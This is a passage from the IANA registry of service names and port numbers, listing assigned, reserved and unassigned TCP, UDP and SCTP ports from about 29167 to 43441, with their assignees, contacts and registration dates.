otmp               29167       udp    ObTools Message Protocol     [Paul_Clark]                                          [Paul_Clark]                                              2006-02
                   29168       tcp    Reserved
                   29168       udp    Reserved
sbcap              29168      sctp    SBcAP in 3GPP                [GPP_Specifications]                                  [GPP_Specifications]                                      2009-06-11
iuhsctpassoc       29169      sctp    HNBAP and RUA Common         [John_Meredith]                                       [John_Meredith]                                           2009-09-08
                                      Association
                29170-29998           Unassigned
                                      data exchange protocol for
bingbang           29999       tcp    IEC61850 in wind power       [DEIF_AS]                                             [Armin_Solies]                                            2012-10-15
                                      plants
                   29999       udp    Reserved
ndmps              30000       tcp    Secure Network Data          [Alioune_Thiam]                                       [Alioune_Thiam]                                           2013-02-05
                                      Management Protocol
                   30000       udp    Reserved
pago-services1     30001       tcp    Pago Services 1              [Balduin_Mueller_Plat]                                [Balduin_Mueller_Plat]                                    2002-03
pago-services1     30001       udp    Pago Services 1              [Balduin_Mueller_Plat]                                [Balduin_Mueller_Plat]                                    2002-03
pago-services2     30002       tcp    Pago Services 2              [Balduin_Mueller_Plat]                                [Balduin_Mueller_Plat]                                    2002-03
pago-services2     30002       udp    Pago Services 2              [Balduin_Mueller_Plat]                                [Balduin_Mueller_Plat]                                    2002-03
amicon-fpsu-ra     30003       tcp    Amicon FPSU-IP Remote        [Amicon_OOO]                                          [Alexey_Novotorzhin]                                      2013-04-25
                                      Administration
amicon-fpsu-ra     30003       udp    Amicon FPSU-IP Remote        [Amicon_OOO]                                          [Alexey_Novotorzhin]                                      2013-04-25
                                      Administration
amicon-fpsu-s      30004       udp    Amicon FPSU-IP VPN           [Amicon_OOO]                                          [Alexey_Novotorzhin]                                      2013-04-25
                   30004       tcp    Reserved
                30005-30099           Unassigned
rwp                30100       tcp    Remote Window Protocol       [Maxim_Baklanovsky]                                   [Maxim_Baklanovsky]                                       2015-05-20
                   30100       udp    Reserved
rwp                30100      sctp    Remote Window Protocol       [Maxim_Baklanovsky]                                   [Maxim_Baklanovsky]                                       2015-05-20
                30101-30259           Unassigned
kingdomsonline     30260       tcp    Kingdoms Online              [Drake_Bankston]                                      [Drake_Bankston]                                          2009-08-18
                                      (CraigAvenue)
kingdomsonline     30260       udp    Kingdoms Online              [Drake_Bankston]                                      [Drake_Bankston]                                          2009-08-18
                                      (CraigAvenue)
                30261-30399           Unassigned
gs-realtime        30400       tcp    GroundStar RealTime System   [INFORM_GmbH]                                         [Detlef_Hilger]                                           2017-08-10   2017-12-13
                   30400       udp    Reserved
                30401-30831           Unassigned
samsung-disc       30832       udp    Samsung Convergence          [Samsung_2]                                           [Young_Ki_Kim]                                            2013-05-29
                                      Discovery Protocol
                   30832       tcp    Reserved
                30833-30998           Unassigned
ovobs              30999       tcp    OpenView Service Desk Client [Service_Desk_Product]                                [Service_Desk_Product]                                    2006-05
ovobs              30999       udp    OpenView Service Desk Client [Service_Desk_Product]                                [Service_Desk_Product]                                    2006-05
                31000-31015           Unassigned
                                      Kollective Agent Secure
ka-sddp            31016       tcp    Distributed Delivery         [Kollective_Technology_Inc]                           [John_Wainwright]                                         2016-12-11
                                      Protocol
ka-kdp             31016       udp    Kollective Agent Kollective  [Kollective_Technology_Inc]                           [John_Wainwright]                                         2016-12-11
                                      Delivery Protocol
                31017-31019           Unassigned
autotrac-acp       31020       tcp    Autotrac ACP 245             [Roberto_Jorge_Dino]                                  [Roberto_Jorge_Dino]
                   31020       udp    Reserved
                31021-31028           Unassigned
                   31029       tcp    Reserved
yawn               31029       udp    YaWN - Yet Another Windows   [David_Spivey]                                        [David_Spivey]                                            2010-08-30
                                      Notifier
                31030-31399           Unassigned
pace-licensed      31400       tcp    PACE license server          [PACE_Anti-Piracy]                                    [Allen_Cronce]                                            2014-04-28
                   31400       udp    Reserved
                31401-31415           Unassigned
xqosd              31416       tcp    XQoS network monitor         [Joe_Elliott]                                         [Joe_Elliott]                                             2002-06
xqosd              31416       udp    XQoS network monitor         [Joe_Elliott]                                         [Joe_Elliott]                                             2002-06
                31417-31456           Unassigned
tetrinet           31457       tcp    TetriNET Protocol            [Emmanuel_Bourg]                                      [Emmanuel_Bourg]                                          2004-11
tetrinet           31457       udp    TetriNET Protocol            [Emmanuel_Bourg]                                      [Emmanuel_Bourg]                                          2004-11
                31458-31619           Unassigned
lm-mon             31620       tcp    lm mon                       [System_Administrator]                                [System_Administrator]                                    2003-06
lm-mon             31620       udp    lm mon                       [System_Administrator]                                [System_Administrator]                                    2003-06
                31621-31684           Unassigned
                                      DS Expert Monitor

dsx-monitor        31685       tcp    IANA assigned this           [John_Lowery]                                         [John_Lowery]                                             2008-08-21
                                      well-formed service name as
                                      a replacement for
                                      "dsx_monitor".
                                                                                                                                                                                                                                                                                  This entry is an alias to "dsx-monitor". This entry is now
dsx_monitor        31685       tcp    DS Expert Monitor            [John_Lowery]                                         [John_Lowery]                                             2008-08-21                                                                                     historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                   31685       udp    Reserved
                31686-31764           Unassigned
gamesmith-port     31765       tcp    GameSmith Port               [Randy_Thompson]                                      [Randy_Thompson]                                          2002-08
gamesmith-port     31765       udp    GameSmith Port               [Randy_Thompson]                                      [Randy_Thompson]                                          2002-08
                31766-31947           Unassigned
                                      Embedded Device
                                      Configuration Protocol TX

iceedcp-tx         31948       tcp    IANA assigned this           [Oliver_Lewis]                                        [Oliver_Lewis]                                            2006-08
                                      well-formed service name as
                                      a replacement for
                                      "iceedcp_tx".
                                      Embedded Device                                                                                                                                                                                                                             This entry is an alias to "iceedcp-tx". This entry is now
iceedcp_tx         31948       tcp    Configuration Protocol TX    [Oliver_Lewis]                                        [Oliver_Lewis]                                            2006-08                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Embedded Device
                                      Configuration Protocol TX

iceedcp-tx         31948       udp    IANA assigned this           [Oliver_Lewis]                                        [Oliver_Lewis]                                            2006-08
                                      well-formed service name as
                                      a replacement for
                                      "iceedcp_tx".
                                      Embedded Device                                                                                                                                                                                                                             This entry is an alias to "iceedcp-tx". This entry is now
iceedcp_tx         31948       udp    Configuration Protocol TX    [Oliver_Lewis]                                        [Oliver_Lewis]                                            2006-08                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Embedded Device
                                      Configuration Protocol RX

iceedcp-rx         31949       tcp    IANA assigned this           [Oliver_Lewis]                                        [Oliver_Lewis]                                            2006-08
                                      well-formed service name as
                                      a replacement for
                                      "iceedcp_rx".
                                      Embedded Device                                                                                                                                                                                                                             This entry is an alias to "iceedcp-rx". This entry is now
iceedcp_rx         31949       tcp    Configuration Protocol RX    [Oliver_Lewis]                                        [Oliver_Lewis]                                            2006-08                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Embedded Device
                                      Configuration Protocol RX

iceedcp-rx         31949       udp    IANA assigned this           [Oliver_Lewis]                                        [Oliver_Lewis]                                            2006-08
                                      well-formed service name as
                                      a replacement for
                                      "iceedcp_rx".
                                      Embedded Device                                                                                                                                                                                                                             This entry is an alias to "iceedcp-rx". This entry is now
iceedcp_rx         31949       udp    Configuration Protocol RX    [Oliver_Lewis]                                        [Oliver_Lewis]                                            2006-08                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                31950-32033           Unassigned
iracinghelper      32034       tcp    iRacing helper service       [Randy_Cassidy]                                       [Randy_Cassidy]                                           2007-08-30
iracinghelper      32034       udp    iRacing helper service       [Randy_Cassidy]                                       [Randy_Cassidy]                                           2007-08-30
                32035-32248           Unassigned
t1distproc60       32249       tcp    T1 Distributed Processor     [Peter_Beahan]                                        [Peter_Beahan]                                            2004-11
t1distproc60       32249       udp    T1 Distributed Processor     [Peter_Beahan]                                        [Peter_Beahan]                                            2004-11
                32250-32399           Unassigned
plex               32400       tcp    Plex multimedia              [Plex_Inc.]                                           [Sasha_Hilton]                                            2016-06-02
                   32400       udp    Reserved
                32401-32482           Unassigned
apm-link           32483       tcp    Access Point Manager Link    [Tony_Diodato]                                        [Tony_Diodato]                                            2005-08
apm-link           32483       udp    Access Point Manager Link    [Tony_Diodato]                                        [Tony_Diodato]                                            2005-08
                32484-32634           Unassigned
sec-ntb-clnt       32635       tcp    SecureNotebook-CLNT          [Eric_Cantineau]                                      [Eric_Cantineau]                                          2004-11
sec-ntb-clnt       32635       udp    SecureNotebook-CLNT          [Eric_Cantineau]                                      [Eric_Cantineau]                                          2004-11
DMExpress          32636       tcp    DMExpress                    [Arnie_Farrelly]                                      [Arnie_Farrelly]
DMExpress          32636       udp    DMExpress                    [Arnie_Farrelly]                                      [Arnie_Farrelly]
                32637-32766           Unassigned
filenet-powsrm     32767       tcp    FileNet BPM                  [Chris_Adkins]                                        [Chris_Adkins]                                            2006-08
                                      WS-ReliableMessaging Client
filenet-powsrm     32767       udp    FileNet BPM                  [Chris_Adkins]                                        [Chris_Adkins]                                            2006-08
                                      WS-ReliableMessaging Client
filenet-tms        32768       tcp    Filenet TMS                  [Daniel_Whelan]                                       [Daniel_Whelan]
filenet-tms        32768       udp    Filenet TMS                  [Daniel_Whelan]                                       [Daniel_Whelan]
filenet-rpc        32769       tcp    Filenet RPC                  [Daniel_Whelan]                                       [Daniel_Whelan]
filenet-rpc        32769       udp    Filenet RPC                  [Daniel_Whelan]                                       [Daniel_Whelan]
filenet-nch        32770       tcp    Filenet NCH                  [Daniel_Whelan]                                       [Daniel_Whelan]
filenet-nch        32770       udp    Filenet NCH                  [Daniel_Whelan]                                       [Daniel_Whelan]
filenet-rmi        32771       tcp    FileNET RMI                  [Chris_Adkins]                                        [Chris_Adkins]
filenet-rmi        32771       udp    FileNet RMI                  [Chris_Adkins]                                        [Chris_Adkins]
filenet-pa         32772       tcp    FileNET Process Analyzer     [Chris_Adkins]                                        [Chris_Adkins]                                            2003-01
filenet-pa         32772       udp    FileNET Process Analyzer     [Chris_Adkins]                                        [Chris_Adkins]                                            2003-01
filenet-cm         32773       tcp    FileNET Component Manager    [Chris_Adkins]                                        [Chris_Adkins]                                            2003-08
filenet-cm         32773       udp    FileNET Component Manager    [Chris_Adkins]                                        [Chris_Adkins]                                            2003-08
filenet-re         32774       tcp    FileNET Rules Engine         [Chris_Adkins]                                        [Chris_Adkins]                                            2003-08
filenet-re         32774       udp    FileNET Rules Engine         [Chris_Adkins]                                        [Chris_Adkins]                                            2003-08
filenet-pch        32775       tcp    Performance Clearinghouse    [Tim_Morgan_2]                                        [Tim_Morgan_2]                                            2005-11
filenet-pch        32775       udp    Performance Clearinghouse    [Tim_Morgan_2]                                        [Tim_Morgan_2]                                            2005-11
filenet-peior      32776       tcp    FileNET BPM IOR              [Chris_Adkins]                                        [Chris_Adkins]                                            2006-05
filenet-peior      32776       udp    FileNET BPM IOR              [Chris_Adkins]                                        [Chris_Adkins]                                            2006-05
filenet-obrok      32777       tcp    FileNet BPM CORBA            [Chris_Adkins]                                        [Chris_Adkins]                                            2006-10
filenet-obrok      32777       udp    FileNet BPM CORBA            [Chris_Adkins]                                        [Chris_Adkins]                                            2006-10
                32778-32800           Unassigned
mlsn               32801       tcp    Multiple Listing Service     [Corey_Leong]                                         [Corey_Leong]                                             2010-10-11
                                      Network
mlsn               32801       udp    Multiple Listing Service     [Corey_Leong]                                         [Corey_Leong]                                             2010-10-11
                                      Network
                32802-32810           Unassigned
retp               32811       tcp    Real Estate Transport        [Corey_Leong]                                         [Corey_Leong]                                             2010-10-11
                                      Protocol
                   32811       udp    Reserved
                32812-32895           Unassigned
idmgratm           32896       tcp    Attachmate ID Manager        [George_Gianelos_2]                                   [George_Gianelos_2]                                       2003-03
idmgratm           32896       udp    Attachmate ID Manager        [George_Gianelos_2]                                   [George_Gianelos_2]                                       2003-03
                32897-33059           Unassigned
mysqlx             33060       tcp    MySQL Database Extended      [Oracle_8]                                            [Omer_BarNir]                                             2015-08-06
                                      Interface
                   33060       udp    Reserved
                33061-33122           Unassigned
aurora-balaena     33123       tcp    Aurora (Balaena Ltd)         [Andrew_Mather]                                       [Andrew_Mather]                                           2008-02-14
aurora-balaena     33123       udp    Aurora (Balaena Ltd)         [Andrew_Mather]                                       [Andrew_Mather]                                           2008-02-14
                33124-33330           Unassigned
diamondport        33331       tcp    DiamondCentral Interface     [Edward_Browdy]                                       [Edward_Browdy]                                           2002-07
diamondport        33331       udp    DiamondCentral Interface     [Edward_Browdy]                                       [Edward_Browdy]                                           2002-07
                   33332              Unassigned
dgi-serv           33333       tcp    Digital Gaslight Service     [George_Flanagin]                                     [George_Flanagin]                                         2010-03-02
                   33333       udp    Reserved
speedtrace         33334       tcp    SpeedTrace TraceAgent        [Holger_Heinrich]                                     [Holger_Heinrich]                                         2012-02-01
speedtrace-disc    33334       udp    SpeedTrace TraceAgent        [Holger_Heinrich]                                     [Holger_Heinrich]                                         2012-02-01
                                      Discovery
                33335-33433           Unassigned
traceroute         33434       tcp    traceroute use               [IANA]                                                [IANA]
traceroute         33434       udp    traceroute use               [IANA]                                                [IANA]
                   33435       tcp    Reserved
mtrace             33435       udp    IP Multicast Traceroute      [IESG]                                                [IETF_Chair]                                              2017-12-13   2018-07-31   [RFC8487]
                33436-33655           Unassigned
snip-slave         33656       tcp    SNIP Slave                   [Dr_Chris_Tucker]                                     [Dr_Chris_Tucker]                                         2005-08
snip-slave         33656       udp    SNIP Slave                   [Dr_Chris_Tucker]                                     [Dr_Chris_Tucker]                                         2005-08
                33657-34248           Unassigned
turbonote-2        34249       tcp    TurboNote Relay Server       [Peter_Hyde]                                          [Peter_Hyde]
                                      Default Port
turbonote-2        34249       udp    TurboNote Relay Server       [Peter_Hyde]                                          [Peter_Hyde]
                                      Default Port
                34250-34377           Unassigned
p-net-local        34378       tcp    P-Net on IP local            [Kurt_Nissen]                                         [Kurt_Nissen]                                             2004-02
p-net-local        34378       udp    P-Net on IP local            [Kurt_Nissen]                                         [Kurt_Nissen]                                             2004-02
p-net-remote       34379       tcp    P-Net on IP remote           [Kurt_Nissen]                                         [Kurt_Nissen]                                             2004-02
p-net-remote       34379       udp    P-Net on IP remote           [Kurt_Nissen]                                         [Kurt_Nissen]                                             2004-02
                34380-34566           Unassigned
dhanalakshmi       34567       tcp    dhanalakshmi.org EDI Service [Girish_Gopalakrishna]                                [Girish_Gopalakrishna]                                    2010-04-20
edi_service        34567       udp    dhanalakshmi.org EDI Service [Girish_Gopalakrishna]                                [Girish_Gopalakrishna]                                    2016-10-26
                34568-34961           Unassigned
profinet-rt        34962       tcp    PROFInet RT Unicast          [Peter_Wenzel]                                        [Peter_Wenzel]                                            2004-11
profinet-rt        34962       udp    PROFInet RT Unicast          [Peter_Wenzel]                                        [Peter_Wenzel]                                            2004-11
profinet-rtm       34963       tcp    PROFInet RT Multicast        [Peter_Wenzel]                                        [Peter_Wenzel]                                            2004-11
profinet-rtm       34963       udp    PROFInet RT Multicast        [Peter_Wenzel]                                        [Peter_Wenzel]                                            2004-11
profinet-cm        34964       tcp    PROFInet Context Manager     [Peter_Wenzel]                                        [Peter_Wenzel]                                            2004-11
profinet-cm        34964       udp    PROFInet Context Manager     [Peter_Wenzel]                                        [Peter_Wenzel]                                            2004-11
                34965-34979           Unassigned
ethercat           34980       tcp    EtherCAT Port                [Martin_Rostan]                                       [Martin_Rostan]                                           2003-11
ethercat           34980       udp    EhterCAT Port                [Martin_Rostan]                                       [Martin_Rostan]                                           2003-11
                34981-34999           Unassigned
heathview          35000       tcp    HeathView                    [Heathwest_Systems_Limited]                           [Andrew_Porrer]                                           2013-03-21
                   35000       udp    Reserved
rt-viewer          35001       tcp    ReadyTech Viewer             [ReadyTech_Corporation]                               [Kevin_Woodward]                                          2013-09-13
rt-viewer          35001       udp    ReadyTech Viewer             [ReadyTech_Corporation]                               [Kevin_Woodward]                                          2013-09-13
rt-sound           35002       tcp    ReadyTech Sound Server       [ReadyTech_Corporation]                               [Kevin_Woodward]                                          2013-09-13
                   35002       udp    Reserved
rt-devicemapper    35003       tcp    ReadyTech DeviceMapper       [ReadyTech_Corporation]                               [Kevin_Woodward]                                          2013-09-13
                                      Server
                   35003       udp    Reserved
rt-classmanager    35004       tcp    ReadyTech ClassManager       [ReadyTech_Corporation]                               [Kevin_Woodward]                                          2013-09-13
rt-classmanager    35004       udp    ReadyTech ClassManager       [ReadyTech_Corporation]                               [Kevin_Woodward]                                          2013-09-13
rt-labtracker      35005       tcp    ReadyTech LabTracker         [ReadyTech_Corporation]                               [Kevin_Woodward]                                          2013-09-13
                   35005       udp    Reserved
rt-helper          35006       tcp    ReadyTech Helper Service     [ReadyTech_Corporation]                               [Kevin_Woodward]                                          2013-09-13
                   35006       udp    Reserved
                35007-35099           Unassigned
axio-disc          35100       tcp    Axiomatic discovery protocol [Axiomatic_Technologies_Corporation]                  [Oleksandr_Bogush]                                        2016-12-09
axio-disc          35100       udp    Axiomatic discovery protocol [Axiomatic_Technologies_Corporation]                  [Oleksandr_Bogush]                                        2016-12-09
                35101-35353           Unassigned
kitim              35354       tcp    KIT Messenger                [Rudi_Visser]                                         [Rudi_Visser]                                             2011-07-07
                   35354       udp    Reserved
altova-lm          35355       tcp    Altova License Management    [Alexander_Falk_2]                                    [Alexander_Falk_2]                                        2011-07-07
altova-lm-disc     35355       udp    Altova License Management    [Alexander_Falk_2]                                    [Alexander_Falk_2]                                        2011-07-07
                                      Discovery
guttersnex         35356       tcp    Gutters Note Exchange        [Squee_Application_Development]                       [Tristan_Seifert_2]                                       2011-07-19
                   35356       udp    Reserved
openstack-id       35357       tcp    OpenStack ID Service         [Rackspace_Hosting]                                   [Ziad_Sawalha]                                            2011-08-15
                   35357       udp    Reserved
                35358-36000           Unassigned
allpeers           36001       tcp    AllPeers Network             [Cedric_Maloux]                                       [Cedric_Maloux]                                           2007-04
allpeers           36001       udp    AllPeers Network             [Cedric_Maloux]                                       [Cedric_Maloux]                                           2007-04
                36002-36410           Unassigned
wlcp               36411       udp    Wireless LAN Control plane   [ThreeGPP_3]                                          [Frederic_Firmin]                                         2014-11-14
                                      Protocol (WLCP)
                   36411       tcp    Reserved
                   36412       tcp    Reserved
                   36412       udp    Reserved
s1-control         36412      sctp    S1-Control Plane (3GPP)      [Kimmo_Kymalainen]                                    [Kimmo_Kymalainen]                                        2009-09-01
                36413-36421           Unassigned
                   36422       tcp    Reserved
                   36422       udp    Reserved
x2-control         36422      sctp    X2-Control Plane (3GPP)      [Kimmo_Kymalainen]                                    [Kimmo_Kymalainen]                                        2009-09-01
slmap              36423      sctp    SLm Interface Application    [ThreeGPP_4]                                          [Kimmo_Kymalainen]                                        2015-06-18
                                      Protocol
nq-ap              36424      sctp    Nq and Nq' Application       [ThreeGPP_4]                                          [Kimmo_Kymalainen]                                        2015-06-18
                                      Protocol
                36425-36442           Unassigned
m2ap               36443      sctp    M2 Application Part          [Dario_S_Tonesi]                                      [Dario_S_Tonesi]                                          2011-02-07
m3ap               36444      sctp    M3 Application Part          [Dario_S_Tonesi]                                      [Dario_S_Tonesi]                                          2011-02-07
                36445-36461           Unassigned
                   36462       tcp    Reserved
                   36462       udp    Reserved
xw-control         36462      sctp    Xw-Control Plane (3GPP)      [Boubacar_KIMNBA_DIT_ADAMOU]                          [Boubacar_KIMNBA_DIT_ADAMOU]                              2015-11-13
                36463-36523           Unassigned
febooti-aw         36524       tcp    Febooti Automation Workshop  [Maris_Bormanis]                                      [Maris_Bormanis]                                          2011-06-10
                   36524       udp    Reserved
                36525-36601           Unassigned
observium-agent    36602       tcp    Observium statistics         [Observium]                                           [Adam_Armstrong]                                          2013-05-10
                                      collection agent
                   36602       udp    Reserved
                36603-36699           Unassigned
mapx               36700       tcp    MapX communication           [MicroTechniX]                                        [Yarochkin_Michail]                                       2014-10-13
                   36700       udp    Reserved
                36701-36864           Unassigned
kastenxpipe        36865       tcp    KastenX Pipe                 [Guy_Cheng]                                           [Guy_Cheng]
kastenxpipe        36865       udp    KastenX Pipe                 [Guy_Cheng]                                           [Guy_Cheng]
                36866-37474           Unassigned
neckar             37475       tcp    science + computing's Venus  [Ralf_Allrutz]                                        [Ralf_Allrutz]                                            2002-02
                                      Administration Port
neckar             37475       udp    science + computing's Venus  [Ralf_Allrutz]                                        [Ralf_Allrutz]                                            2002-02
                                      Administration Port
                37476-37482           Unassigned
gdrive-sync        37483       tcp    Google Drive Sync            [Google_Inc]                                          [Jason_Schiller]                                          2013-02-01   2015-07-31
                   37483       udp    Reserved
                37484-37600           Unassigned
eftp               37601       tcp    Epipole File Transfer        [Epipole_Limited]                                     [Colin_Buchanan]                                          2014-11-13
                                      Protocol
                   37601       udp    Reserved
                37602-37653           Unassigned
unisys-eportal     37654       tcp    Unisys ClearPath ePortal     [Sung_U_Ro]                                           [Sung_U_Ro]                                               2006-01
unisys-eportal     37654       udp    Unisys ClearPath ePortal     [Sung_U_Ro]                                           [Sung_U_Ro]                                               2006-01
                37655-37999           Unassigned
ivs-database       38000       tcp    InfoVista Server Database    [InfoVista]                                           [Sebastien_Bouchex_Bellomie]                              2014-05-23
                   38000       udp    Reserved
ivs-insertion      38001       tcp    InfoVista Server Insertion   [InfoVista]                                           [Sebastien_Bouchex_Bellomie]                              2014-05-23
                   38001       udp    Reserved
cresco-control     38002       tcp    Cresco Controller            [UofK]                                                [Cody_Bumgardner]                                         2014-11-21
crescoctrl-disc    38002       udp    Cresco Controller Discovery  [UofK]                                                [Cody_Bumgardner]                                         2014-11-21
                38003-38200           Unassigned
galaxy7-data       38201       tcp    Galaxy7 Data Tunnel          [Tatham_Oddie]                                        [Tatham_Oddie]                                            2002-09
galaxy7-data       38201       udp    Galaxy7 Data Tunnel          [Tatham_Oddie]                                        [Tatham_Oddie]                                            2002-09
fairview           38202       tcp    Fairview Message Service     [Jim_Lyle]                                            [Jim_Lyle]                                                2005-11                                                                                        Defined TXT keys: DevID=<device id>, DevType=<device type>,
                                                                                                                                                                                                                                                                                  DevStat=<device status>
fairview           38202       udp    Fairview Message Service     [Jim_Lyle]                                            [Jim_Lyle]                                                2005-11                                                                                        Defined TXT keys: DevID=<device id>, DevType=<device type>,
                                                                                                                                                                                                                                                                                  DevStat=<device status>
agpolicy           38203       tcp    AppGate Policy Server        [Martin_Forssen]                                      [Martin_Forssen]                                          2004-11
agpolicy           38203       udp    AppGate Policy Server        [Martin_Forssen]                                      [Martin_Forssen]                                          2004-11
                38204-38411           Unassigned
                   38412       tcp    Reserved
                   38412       udp    Reserved
ng-control         38412      sctp    NG Control Plane (3GPP)      [Luis_Lopes]                                          [Luis_Lopes]                                              2017-05-18   2017-05-19
                38413-38421           Unassigned
                   38422       tcp    Reserved
                   38422       udp    Reserved
xn-control         38422      sctp    Xn Control Plane (3GPP)      [Luis_Lopes]                                          [Luis_Lopes]                                              2017-05-18   2017-05-19
                38423-38461           Unassigned
                   38462       tcp    Reserved
                   38462       udp    Reserved
e1-interface       38462      sctp    E1 signalling transport      [Huawei_Technologies_France]                          [Yang_Xudong][Issam_Toufik]                               2018-11-06   2018-11-15
                                      (3GPP)
                38463-38471           Unassigned
                   38472       tcp    Reserved
                   38472       udp    Reserved
f1-control         38472      sctp    F1 Control Plane (3GPP)      [Luis_Lopes]                                          [Luis_Lopes]                                              2017-06-23
                38473-38799           Unassigned
                                      Sruth is a service for the
                                      distribution of routinely-
                                      generated but arbitrary
                                      files based on a
sruth              38800       tcp    publish/subscribe            [University_Corporation_for_Atmospheric_Research]     [Steven_Emmerson]                                         2012-05-07
                                      distribution model and
                                      implemented using a
                                      peer-to-peer transport
                                      mechanism
                   38800       udp    Reserved
                38801-38864           Unassigned
                                      Security approval process
secrmmsafecopya    38865       tcp    for use of the secRMM        [Squadra_Technologies]                                [Anthony_LaMark]                                          2012-03-14
                                      SafeCopy program
                   38865       udp    Reserved
                38866-39680           Unassigned
turbonote-1        39681       tcp    TurboNote Default Port       [Peter_Hyde]                                          [Peter_Hyde]
turbonote-1        39681       udp    TurboNote Default Port       [Peter_Hyde]                                          [Peter_Hyde]
                39682-39999           Unassigned
safetynetp         40000       tcp    SafetyNET p                  [Roland_Rupp]                                         [Roland_Rupp]                                             2006-11
safetynetp         40000       udp    SafetyNET p                  [Roland_Rupp]                                         [Roland_Rupp]                                             2006-11
                40001-40022           Unassigned
                   40023       tcp    Reserved
k-patentssensor    40023       udp    K-PatentsSensorInformation   [K-Patents_Oy]                                        [Saku_Lahteenmaki]                                        2015-12-02   2017-05-12
                40024-40403           Unassigned
sptx               40404       tcp    Simplify Printing TX         [Tricerat]                                            [Eric_Musgrave]                                           2013-12-09
                   40404       udp    Reserved
                40405-40840           Unassigned
cscp               40841       tcp    CSCP                         [Michael_Dodge]                                       [Michael_Dodge]
cscp               40841       udp    CSCP                         [Michael_Dodge]                                       [Michael_Dodge]
csccredir          40842       tcp    CSCCREDIR                    [Sudhir_Menon]                                        [Sudhir_Menon]
csccredir          40842       udp    CSCCREDIR                    [Sudhir_Menon]                                        [Sudhir_Menon]
csccfirewall       40843       tcp    CSCCFIREWALL                 [Sudhir_Menon]                                        [Sudhir_Menon]
csccfirewall       40843       udp    CSCCFIREWALL                 [Sudhir_Menon]                                        [Sudhir_Menon]
                40844-40852           Unassigned
                   40853       tcp    Reserved
ortec-disc         40853       udp    ORTEC Service Discovery      [Jesse_Ursery]                                        [Jesse_Ursery]                                            2010-11-22
                40854-41110           Unassigned
fs-qos             41111       tcp    Foursticks QoS Protocol      [Chee_Kent_Lam]                                       [Chee_Kent_Lam]                                           2002-04
fs-qos             41111       udp    Foursticks QoS Protocol      [Chee_Kent_Lam]                                       [Chee_Kent_Lam]                                           2002-04
                41112-41120           Unassigned
tentacle           41121       tcp    Tentacle Server              [Sancho_Lerena]                                       [Sancho_Lerena]                                           2009-06-02
                   41121       udp    Reserved
                41122-41229           Unassigned
z-wave-s           41230       tcp    Z-Wave Protocol over SSL/TLS [Sigma_Designs_3]                                     [Anders_Brandt_4]                                         2015-06-26
z-wave-s           41230       udp    Z-Wave Protocol over DTLS    [Sigma_Designs_3]                                     [Anders_Brandt_4]                                         2015-06-26
                41231-41793           Unassigned
crestron-cip       41794       tcp    Crestron Control Port        [Ed_Ranney]                                           [Ed_Ranney]                                               2003-01
crestron-cip       41794       udp    Crestron Control Port        [Ed_Ranney]                                           [Ed_Ranney]                                               2003-01
crestron-ctp       41795       tcp    Crestron Terminal Port       [Ed_Ranney]                                           [Ed_Ranney]                                               2003-01
crestron-ctp       41795       udp    Crestron Terminal Port       [Ed_Ranney]                                           [Ed_Ranney]                                               2003-01
crestron-cips      41796       tcp    Crestron Secure Control Port [Crestron_Electronics]                                [Manish_Talreja]                                          2012-06-27
                   41796       udp    Reserved
crestron-ctps      41797       tcp    Crestron Secure Terminal     [Crestron_Electronics]                                [Manish_Talreja]                                          2012-06-27
                                      Port
                   41797       udp    Reserved
                                                                                                                                                                                                                                                                     Unauthorized
                41798-42507           Unassigned                                                                                                                                                                                                                     Use Known on
                                                                                                                                                                                                                                                                     port 42000
candp              42508       tcp    Computer Associates network  [Jon_Press]                                           [Jon_Press]                                               2005-09
                                      discovery protocol
candp              42508       udp    Computer Associates network  [Jon_Press]                                           [Jon_Press]                                               2005-09
                                      discovery protocol
candrp             42509       tcp    CA discovery response        [Jon_Press]                                           [Jon_Press]                                               2005-08
candrp             42509       udp    CA discovery response        [Jon_Press]                                           [Jon_Press]                                               2005-08
caerpc             42510       tcp    CA eTrust RPC                [Jon_Press]                                           [Jon_Press]                                               2005-08
caerpc             42510       udp    CA eTrust RPC                [Jon_Press]                                           [Jon_Press]                                               2005-08
                42511-42999           Unassigned
recvr-rc           43000       tcp    Receiver Remote Control      [Research_Electronics_International]                  [Ross_Binkley]                                            2012-12-20
recvr-rc-disc      43000       udp    Receiver Remote Control      [Research_Electronics_International]                  [Ross_Binkley]                                            2012-12-20
                                      Discovery
                43001-43187           Unassigned
reachout           43188       tcp    REACHOUT                     [Roman_Kriis]                                         [Roman_Kriis]
reachout           43188       udp    REACHOUT                     [Roman_Kriis]                                         [Roman_Kriis]
ndm-agent-port     43189       tcp    NDM-AGENT-PORT               [Roman_Kriis]                                         [Roman_Kriis]
ndm-agent-port     43189       udp    NDM-AGENT-PORT               [Roman_Kriis]                                         [Roman_Kriis]
ip-provision       43190       tcp    IP-PROVISION                 [Roman_Kriis]                                         [Roman_Kriis]
ip-provision       43190       udp    IP-PROVISION                 [Roman_Kriis]                                         [Roman_Kriis]
noit-transport     43191       tcp    Reconnoiter Agent Data       [Theo_Schlossnagle]                                   [Theo_Schlossnagle]                                       2009-05-19
                                      Transport
                   43191       udp    Reserved
                43192-43209           Unassigned
shaperai           43210       tcp    Shaper Automation Server     [Shaper_Automation]                                   [Yohann_Sulaiman]                                         2012-06-22
                                      Management
shaperai-disc      43210       udp    Shaper Automation Server     [Shaper_Automation]                                   [Yohann_Sulaiman]                                         2012-06-22
                                      Management Discovery
                43211-43437           Unassigned
                   43438       tcp    Reserved
hmip-routing       43438       udp    HmIP LAN Routing             [eQ-3_Entwicklung_GmbH]                               [Tido_de_Vries]                                           2018-02-28
eq3-update         43439       tcp    EQ3 firmware update          [eQ-3_Entwicklung_GmbH]                               [Tido_de_Vries]                                           2012-02-10   2014-05-09
eq3-config         43439       udp    EQ3 discovery and            [eQ-3_Entwicklung_GmbH]                               [Tido_de_Vries]                                           2012-02-10   2014-05-09
                                      configuration
ew-mgmt            43440       tcp    Cisco EnergyWise Management
ew-disc-cmd        43440       udp    Cisco EnergyWise Discovery   [John_Parello]                                        [John_Parello]                                            2009-05-19
                                      and Command Flooding
ciscocsdb          43441       tcp    Cisco NetMgmt DB Ports       [Cisco_Systems]                                       [Cisco_Systems]                                           2005-11
